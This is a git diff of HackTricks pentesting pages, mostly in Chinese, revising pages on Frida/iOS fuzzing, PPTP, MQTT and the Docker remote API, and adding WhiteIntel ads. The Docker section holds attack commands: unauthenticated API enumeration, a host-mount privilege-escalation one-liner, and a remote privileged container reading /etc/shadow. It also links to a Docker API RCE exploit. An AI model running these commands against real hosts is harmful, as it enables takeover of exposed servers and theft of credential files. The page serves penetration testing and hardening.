-[**fpicker**](https://github.com/ttdennis/fpicker) 是一个基于**Frida的模糊测试套件**,提供各种模糊测试模式,如AFL++模式或被动跟踪模式。它应该在所有Frida支持的平台上运行。 +[**fpicker**](https://github.com/ttdennis/fpicker) 是一个基于 **Frida 的模糊测试套件**,提供各种模糊测试模式,如 AFL++ 模式或被动跟踪模式。它应该可以在所有 Frida 支持的平台上运行。 * [**安装 fpicker**](https://github.com/ttdennis/fpicker#requirements-and-installation) **& radamsa** ```bash @@ -320,7 +334,7 @@ fpicker -v --fuzzer-mode active -e attach -p -D usb -o example 您可以检查**macOS控制台**或**`log`** cli来查看macOS日志。\ 您还可以使用**`idevicesyslog`**来检查iOS的日志。\ -一些日志将省略添加**``**的信息。要显示所有信息,您需要从[https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/)安装一些配置文件以启用私人信息。 +一些日志会省略添加**``**的信息。要显示所有信息,您需要从[https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/)安装一些配置文件以启用私人信息。 如果您不知道该怎么办: ```sh @@ -336,24 +350,53 @@ vim /Library/Preferences/Logging/com.apple.system.logging.plist killall -9 logd ``` -您可以在以下位置检查崩溃情况: +You can check the crashes in: -- **iOS** - - 设置 → 隐私 → 分析与改进 → 分析数据 - - `/private/var/mobile/Library/Logs/CrashReporter/` -- **macOS**: - - `/Library/Logs/DiagnosticReports/` - - `~/Library/Logs/DiagnosticReports` +* **iOS** +* Settings → Privacy → Analytics & Improvements → Analytics Data +* `/private/var/mobile/Library/Logs/CrashReporter/` +* **macOS**: +* `/Library/Logs/DiagnosticReports/` +* `~/Library/Logs/DiagnosticReports` {% hint style="warning" %} -iOS仅存储同一应用的25个崩溃情况,因此您需要清理,否则iOS将停止创建崩溃报告。 +iOS only stores 25 crashes of the same app, so you need to clean that or iOS will stop creating crashes. {% endhint %} -## Frida Android 教程 +## Frida Android Tutorials {% content-ref url="../android-app-pentesting/frida-tutorial/" %} [frida-tutorial](../android-app-pentesting/frida-tutorial/) {% endcontent-ref %} -## 参考资料 -- [https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida](https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida) +## References + +* [https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida](https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida) + + +## WhiteIntel + +
+ +[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **free** functionalities to check if a company or its customers have been **compromised** by **stealer malwares**. + +Their primary goal of WhiteIntel is to combat account takeovers and ransomware attacks resulting from information-stealing malware. + +You can check their website and try their engine for **free** at: + +{% embed url="https://whiteintel.io" %} + + +
+ +Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! + +Other ways to support HackTricks: + +* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
diff --git a/network-services-pentesting/1723-pentesting-pptp.md b/network-services-pentesting/1723-pentesting-pptp.md index b561beff0..b9e43cd1b 100644 --- a/network-services-pentesting/1723-pentesting-pptp.md +++ b/network-services-pentesting/1723-pentesting-pptp.md @@ -2,11 +2,11 @@
-从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家) +从零开始学习 AWS 黑客技术,成为 htARTE(HackTricks AWS 红队专家) 支持 HackTricks 的其他方式: -* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! +* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) * **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注**我们。 @@ -14,9 +14,23 @@
+## WhiteIntel + +
+ +[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供**免费**功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。 + +WhiteIntel 的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。 + +您可以访问他们的网站并免费尝试他们的引擎: + +{% embed url="https://whiteintel.io" %} + +--- + ## 基本信息 -**点对点隧道协议(PPTP)** 是一种广泛用于**远程访问移动设备**的方法。它利用 **TCP 端口 1723** 交换密钥,而 **IP 协议 47**(通用路由封装,或 **GRE**)用于加密对等方之间传输的数据。这种设置对于在互联网上建立安全通信通道至关重要,确保交换的数据保持机密,并免受未经授权的访问。 +**点对点隧道协议(PPTP)** 是一种广泛用于**远程访问**移动设备的方法。它利用**TCP 端口 1723**来交换密钥,而**IP 协议 47**(通用路由封装,或**GRE**)用于加密对等方之间传输的数据。这种设置对于在互联网上建立安全通信通道至关重要,确保交换的数据保持机密,并受到未经授权的访问保护。 **默认端口**:1723 @@ -36,9 +50,9 @@ nmap –Pn -sSV -p1723 支持HackTricks的其他方式: -* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! +* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) +* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 diff --git a/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md b/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md index 9346f4041..643cf80c6 100644 --- a/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md +++ b/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md @@ -2,21 +2,35 @@
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert) +从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家) 支持HackTricks的其他方式: -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! +- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) +- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品 +- **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
+## WhiteIntel + +
+ +[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供**免费**功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。 + +WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。 + +您可以访问他们的网站并免费尝试他们的引擎: + +{% embed url="https://whiteintel.io" %} + +--- + ## 基本信息 -**MQ Telemetry Transport (MQTT)** 被称为一种**发布/订阅消息传输协议**,以其极端简单和轻量著称。该协议专门为设备能力有限、运行在低带宽、高延迟或不稳定连接特征的网络环境而设计。MQTT的核心目标包括减少网络带宽的使用和降低对设备资源的需求。此外,它旨在保持可靠的通信并提供一定程度的传递保证。这些目标使MQTT非常适用于蓬勃发展的**机器对机器(M2M)通信**和**物联网(IoT)**领域,在这些领域中,高效连接大量设备至关重要。此外,MQTT对于移动应用程序也非常有益,其中节省带宽和电池寿命至关重要。 +**MQ Telemetry Transport (MQTT)** 被称为一种**发布/订阅消息传递协议**,以其极端简单和轻量著称。该协议专门为设备能力有限、在低带宽、高延迟或不稳定连接的网络上运行的环境而设计。MQTT的核心目标包括最小化网络带宽的使用和减少对设备资源的需求。此外,它旨在保持可靠的通信并提供一定程度的传递保证。这些目标使MQTT非常适用于蓬勃发展的**机器对机器(M2M)通信**和**物联网(IoT)**领域,在这些领域中,高效连接大量设备至关重要。此外,MQTT对于移动应用程序非常有益,其中节省带宽和电池寿命至关重要。 **默认端口:** 1883 ``` @@ -25,9 +39,9 @@ PORT STATE SERVICE REASON ``` ## 检查流量 -当 MQTT 代理接收到 **CONNECT** 数据包时,会发送回一个 **CONNACK** 数据包。该数据包包含一个返回码,对于理解连接状态至关重要。返回码 **0x00** 表示凭据已被接受,表明连接成功。另一方面,返回码 **0x05** 表示凭据无效,从而阻止连接。 +当 MQTT 代理接收到 **CONNECT** 数据包时,会发送回一个 **CONNACK** 数据包。这个数据包包含一个返回码,对于理解连接状态至关重要。返回码 **0x00** 表示凭据已被接受,表示连接成功。另一方面,返回码 **0x05** 表示凭据无效,从而阻止连接。 -例如,如果代理因凭据无效而拒绝连接,则场景会如下所示: +例如,如果代理因为凭据无效而拒绝连接,情景会如下所示: ``` { "returnCode": "0x05", @@ -85,14 +99,14 @@ main() ``` ## 更多信息 -来自这里:[https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b) +从这里获取:[https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b) ### 发布/订阅模式 发布/订阅模型由以下组成: - **发布者**:向代理发布消息到一个(或多个)主题。 -- **订阅者**:订阅一个(或多个)主题在代理中,并接收所有从发布者发送的消息。 +- **订阅者**:订阅一个(或多个)主题在代理中,并接收来自发布者发送的所有消息。 - **代理**:将所有来自发布者的消息路由到订阅者。 - **主题**:由一个或多个级别组成,级别之间用斜杠分隔(例如,/smartshouse/livingroom/temperature)。 @@ -111,7 +125,7 @@ main() - PUBREC(5):消息传递协议的一部分,确保消息已接收。 - PUBREL(6):进一步确保消息传递,指示消息释放。 - PUBCOMP(7):消息传递协议的最后部分,指示完成。 -- SUBSCRIBE(8):客户端请求从主题监听消息。 +- SUBSCRIBE(8):客户端请求从主题接收消息。 - SUBACK(9):服务器对 SUBSCRIBE 请求的确认。 - UNSUBSCRIBE(10):客户端请求停止从主题接收消息。 - UNSUBACK(11):服务器对 UNSUBSCRIBE 请求的响应。 @@ -124,15 +138,27 @@ main() - `port:1883 MQTT` +## WhiteIntel + +
+ +[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供**免费**功能,用于检查公司或其客户是否已受到**窃取恶意软件**的侵害。 + +WhiteIntel 的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。 + +您可以访问他们的网站并免费尝试他们的引擎: + +{% embed url="https://whiteintel.io" %} +
从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家) 支持 HackTricks 的其他方式: -- 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! +- 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! - 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) -- 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏品 +- 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) - **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注我们。** - 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。 diff --git a/network-services-pentesting/2375-pentesting-docker.md b/network-services-pentesting/2375-pentesting-docker.md index a9985bb8a..5b3277e1f 100644 --- a/network-services-pentesting/2375-pentesting-docker.md +++ b/network-services-pentesting/2375-pentesting-docker.md @@ -1,32 +1,48 @@ +# 2375, 2376 Pentesting Docker +
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家) +从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert) 支持HackTricks的其他方式: * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family) +* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
-## Docker基础知识 +## WhiteIntel -### 什么是 +
+ +[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供**免费**功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。 + +WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。 + +您可以访问他们的网站并免费尝试他们的引擎: + +{% embed url="https://whiteintel.io" %} + +--- + +### Docker基础知识 + +#### 什么是Docker Docker是**容器化行业**中的**前沿平台**,引领**持续创新**。它便于轻松创建和分发应用程序,涵盖**传统到未来**的范围,并确保它们在不同环境中的**安全部署**。 -### 基本Docker架构 +#### 基本Docker架构 -- **[containerd](http://containerd.io)**: 这是容器的**核心运行时**,负责全面**管理容器的生命周期**。这包括处理**镜像传输和存储**,以及监视和网络化容器的**执行**。对containerd的**更详细见解**将进一步探讨。 -- **容器shim**在处理**无头容器**时发挥关键作用,它在容器初始化后无缝接管**runc**的任务。 -- **[runc](http://runc.io)**: 以其**轻量级和通用容器运行时**功能而闻名,runc符合**OCI标准**。它由containerd用于根据**OCI指南**启动和管理容器,从最初的**libcontainer**发展而来。 -- **[grpc](http://www.grpc.io)**对于在containerd和**docker-engine**之间**促进通信**至关重要,确保**高效互动**。 -- **[OCI](https://www.opencontainers.org)**对于维护运行时和镜像的**OCI规范**至关重要,最新的Docker版本符合**OCI镜像和运行时**标准。 +* [**containerd**](http://containerd.io):这是容器的**核心运行时**,负责全面**管理容器的生命周期**。这包括处理**镜像传输和存储**,以及监视和网络化容器的**执行**。对containerd的**更详细见解**将进一步探讨。 +* **容器shim**在处理**无头容器**时发挥关键作用,它在容器初始化后无缝接管**runc**的工作。 +* [**runc**](http://runc.io):以其**轻量级和通用容器运行时**功能而闻名,runc符合**OCI标准**。它由containerd用于根据**OCI指南**启动和管理容器,从最初的**libcontainer**发展而来。 +* [**grpc**](http://www.grpc.io)对于在containerd和**docker引擎**之间**促进通信**至关重要,确保**高效互动**。 +* [**OCI**](https://www.opencontainers.org)在维护运行时和镜像的**OCI规范**方面至关重要,最新的Docker版本符合**OCI镜像和运行时**标准。 -### 基本命令 +#### 基本命令 ```bash docker version #Get version of docker client, API, engine, containerd, runc, docker-init docker info #Get more infomarion about docker settings @@ -49,13 +65,13 @@ docker system prune -a # - all images without at least one container associated to them # - all build cache ``` -### Containerd +#### Containerd **Containerd**是专门为像**Docker和Kubernetes**等容器平台的需求而开发的。它旨在通过抽象操作系统特定功能和系统调用,简化在各种操作系统(包括Linux、Windows、Solaris等)上执行容器的过程。Containerd的目标是仅包含其用户所需的基本功能,努力省略不必要的组件。然而,完全实现这一目标被认为是具有挑战性的。 一个关键的设计决定是**Containerd不处理网络**。网络被认为是分布式系统中的一个关键元素,具有诸如软件定义网络(SDN)和服务发现等复杂性,这些复杂性在不同平台之间差异很大。因此,Containerd将网络方面的处理留给了它支持的平台来管理。 -虽然**Docker利用Containerd**来运行容器,但重要的是要注意,Containerd仅支持Docker功能的子集。具体来说,Containerd缺乏Docker中存在的网络管理功能,并且不直接支持创建Docker swarms。这种区别突显了Containerd作为容器运行时环境的专注角色,将更专业化的功能委托给其集成的平台。 +虽然**Docker利用Containerd**来运行容器,但重要的是要注意,Containerd仅支持Docker功能的子集。具体来说,Containerd缺乏Docker中存在的网络管理功能,并且不直接支持创建Docker swarms。这种区别突显了Containerd作为容器运行时环境的专注角色,将更专业的功能委托给其集成的平台。 ```bash #Containerd CLI ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image @@ -71,33 +87,29 @@ ctr tasks resume #Resume cotainer ctr task kill -s SIGKILL #Stop running container ctr container delete ``` -### Podman +#### Podman -**Podman** 是一个遵循[Open Container Initiative (OCI) 标准](https://github.com/opencontainers)的开源容器引擎,由 Red Hat 开发和维护。它与 Docker 有几个明显的特点,尤其是其**无守护程序架构**和对**无根容器**的支持,使用户能够在无需 root 权限的情况下运行容器。 +**Podman** 是一个遵循[开放容器倡议(OCI)标准](https://github.com/opencontainers)的开源容器引擎,由 Red Hat 开发和维护。它与 Docker 有几个明显的特点不同,尤其是其**无守护程序架构**和对**无根容器**的支持,使用户能够在无需 root 权限的情况下运行容器。 -Podman 的设计旨在与 Docker 的 API 兼容,允许使用 Docker CLI 命令。这种兼容性延伸到其生态系统,其中包括诸如**Buildah**用于构建容器镜像和**Skopeo**用于推送、拉取和检查镜像等操作的工具。有关这些工具的更多详细信息,请参阅它们的[GitHub 页面](https://github.com/containers/buildah/tree/master/docs/containertools)。 +Podman 的设计旨在与 Docker 的 API 兼容,允许使用 Docker CLI 命令。这种兼容性延伸到其生态系统,其中包括诸如**Buildah**(用于构建容器镜像)和**Skopeo**(用于推送、拉取和检查镜像等操作)等工具。有关这些工具的更多详细信息,请参阅它们的[GitHub 页面](https://github.com/containers/buildah/tree/master/docs/containertools)。 **主要区别** -- **架构**:与 Docker 的客户端-服务器模型及后台守护程序不同,Podman 在没有守护程序的情况下运行。这种设计意味着容器以启动它们的用户的权限运行,通过消除对 root 访问的需求来增强安全性。 - +- **架构**:与 Docker 的客户端-服务器模型及后台守护程序不同,Podman 无需守护程序运行。这种设计意味着容器以启动它们的用户的权限运行,通过消除对 root 访问的需求来增强安全性。 - **Systemd 集成**:Podman 与 **systemd** 集成以管理容器,允许通过 systemd 单元进行容器管理。这与 Docker 主要用于管理 Docker 守护程序进程的 systemd 的用法形成对比。 - -- **无根容器**:Podman 的一个关键特点是其能够在启动用户的权限下运行容器。这种方法通过确保攻击者仅获得受损用户的权限而不是 root 访问权限,最小化了与容器入侵相关的风险。 +- **无根容器**:Podman 的一个关键特点是能够以启动用户的权限运行容器。这种方法通过确保攻击者仅获得受损用户的权限而非 root 访问,最小化了与容器入侵相关的风险。 Podman 的方法为 Docker 提供了一个安全灵活的替代方案,强调用户权限管理和与现有 Docker 工作流的兼容性。 {% hint style="info" %} -请注意,由于 Podman 旨在支持与 Docker 相同的 API,因此您可以像在 Docker 中一样使用 Podman,例如: +请注意,由于 Podman 旨在支持与 Docker 相同的 API,您可以像在 Docker 中一样使用 Podman,例如: ```bash podman --version podman info pdoman images ls podman ls ``` -{% endhint %} - -## 基本信息 +### 基本信息 当启用时,远程 API 默认在 2375 端口上运行。默认情况下,该服务不需要身份验证,允许攻击者启动一个特权的 Docker 容器。通过使用远程 API,可以将主机/(根目录)附加到容器,并读取/写入主机环境中的文件。 @@ -106,11 +118,11 @@ podman ls PORT STATE SERVICE 2375/tcp open docker ``` -## 枚举 +### 枚举 -### 手动 +#### 手动 -请注意,为了枚举Docker API,您可以使用`docker`命令或`curl`,就像下面的示例中所示: +请注意,要枚举docker API,您可以使用`docker`命令或`curl`,就像以下示例中所示: ```bash #Using curl curl -s http://open.docker.socket:2375/version | jq #Get version @@ -146,19 +158,19 @@ docker-init: Version: 0.18.0 GitCommit: fec3683 ``` -如果您可以使用`docker`命令**联系远程docker API**,则可以**执行**任何[**先前注释的docker命令**](2375-pentesting-docker.md#basic-commands)来与服务进行交互。 +如果您可以使用`docker`命令**联系远程docker API**,您可以**执行**任何**之前评论过的docker** [**命令**](2375-pentesting-docker.md#basic-commands) 来与服务进行交互。 {% hint style="info" %} 您可以`export DOCKER_HOST="tcp://localhost:2375"`,**避免**在docker命令中使用`-H`参数 {% endhint %} -#### 快速提权 +**快速提权** ```bash docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash ``` -#### Curl +**Curl** -有时你会看到 **2376** 端口用于 **TLS** 终端。我无法用 docker 客户端连接到它,但可以使用 curl 连接。 +有时你会看到 **2376** 开放了 **TLS** 端点。我无法用 docker 客户端连接到它,但可以使用 curl。 ```bash #List containers curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq @@ -190,12 +202,12 @@ curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-ope ``` 如果您想获取更多信息,请查看我复制命令的地方:[https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/) -### 自动化 +#### 自动化 ```bash msf> use exploit/linux/http/docker_daemon_tcp nmap -sV --script "docker-*" -p ``` -## Compromising +### 入侵 在以下页面,您可以找到**从 Docker 容器中逃脱**的方法: @@ -203,18 +215,18 @@ nmap -sV --script "docker-*" -p [docker-security](../linux-hardening/privilege-escalation/docker-security/) {% endcontent-ref %} -滥用这一点,可以从容器中逃脱,您可以在远程机器上运行一个弱容器,从中逃脱,并威胁到该机器: +滥用这一点,可以从容器中逃脱,您可以在远程机器上运行一个弱容器,从中逃脱,并威胁到机器: ```bash docker -H :2375 run --rm -it --privileged --net=host -v /:/mnt alpine cat /mnt/etc/shadow ``` * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py) -## 提权 +### 提权 如果您在使用 Docker 的主机内部,您可以[**阅读此信息尝试提升权限**](../linux-hardening/privilege-escalation/#writable-docker-socket)。 -## 在运行中的 Docker 容器中发现秘密 +### 在运行的 Docker 容器中发现秘密 ```bash docker ps [| grep ] docker inspect @@ -225,57 +237,57 @@ docker inspect - IP地址。 - 端口。 - 路径。 -- 其他… 。 +- 其他…。 如果要提取文件: ```bash docker cp :/etc/ ``` -## 保护您的Docker +### 保护您的Docker -### 保护Docker安装和使用 +#### 保护Docker安装和使用 * 您可以使用工具[https://github.com/docker/docker-bench-security](https://github.com/docker/docker-bench-security)来检查您当前的Docker安装。 * `./docker-bench-security.sh` * 您可以使用工具[https://github.com/kost/dockscan](https://github.com/kost/dockscan)来检查您当前的Docker安装。 * `dockscan -v unix:///var/run/docker.sock` -* 您可以使用工具[https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained)来查看在不同安全选项下运行容器时容器将具有的特权。这对于了解使用某些安全选项运行容器的影响很有用: +* 您可以使用工具[https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained)来查看在不同安全选项下运行时容器将具有的权限。这对于了解使用某些安全选项运行容器的影响很有用: * `docker run --rm -it r.j3ss.co/amicontained` * `docker run --rm -it --pid host r.j3ss.co/amicontained` * `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained` -### 保护Docker镜像 +#### 保护Docker镜像 * 您可以使用[https://github.com/quay/clair](https://github.com/quay/clair)的Docker镜像来扫描您的其他Docker镜像并查找漏洞。 * `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"` * `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image` -### 保护Dockerfiles +#### 保护Dockerfiles * 您可以使用工具[https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter)来**检查您的Dockerfile**并找到各种配置错误。每个配置错误都将被赋予一个ID,您可以在[https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md)找到如何修复每个错误。 * `dockerfilelinter -f Dockerfile` -![](<../.gitbook/assets/image (418).png>) +![](<../.gitbook/assets/image (173).png>) * 您可以使用工具[https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint)来**检查您的Dockerfile**并找到各种配置错误。 * `dockerfilelint Dockerfile` -![](<../.gitbook/assets/image (419).png>) +![](<../.gitbook/assets/image (209).png>) * 您可以使用工具[https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint)来**检查您的Dockerfile**并找到各种配置错误。 * `dockerlint Dockerfile` -![](<../.gitbook/assets/image (420).png>) +![](<../.gitbook/assets/image (68).png>) * 您可以使用工具[https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint)来**检查您的Dockerfile**并找到各种配置错误。 * `hadolint Dockerfile` -![](<../.gitbook/assets/image (421).png>) +![](<../.gitbook/assets/image (498).png>) -### 记录可疑活动 +#### 记录可疑活动 * 您可以使用工具[https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco)来检测**运行容器中的可疑行为**。 -* 请注意下面的代码块中**Falco如何编译内核模块并插入**。之后,它加载规则并**开始记录可疑活动**。在这种情况下,它检测到启动了2个特权容器,其中一个带有敏感挂载点,几秒钟后检测到一个容器内打开了一个shell。 +* 请注意下面的代码块中**Falco如何编译内核模块并插入**。之后,它加载规则并**开始记录可疑活动**。在这种情况下,它检测到启动了2个特权容器,其中一个带有敏感挂载点,并在几秒钟后检测到一个容器内打开了一个shell。 ```bash docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco * Setting up /usr/src links from host @@ -316,10 +328,39 @@ falco-probe found and loaded in dkms 2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest) 2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu) ``` -### 监控 Docker +#### 监控 Docker 您可以使用 auditd 来监控 Docker。 -## 参考 +### 参考 + * [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html) * [https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc) + + +## WhiteIntel + +
+ +[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 提供动力的搜索引擎,提供免费功能,用于检查公司或其客户是否已受到 **窃取恶意软件** 的 **损害**。 + +WhiteIntel 的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。 + +您可以访问他们的网站并免费尝试他们的引擎: + +{% embed url="https://whiteintel.io" %} + + +
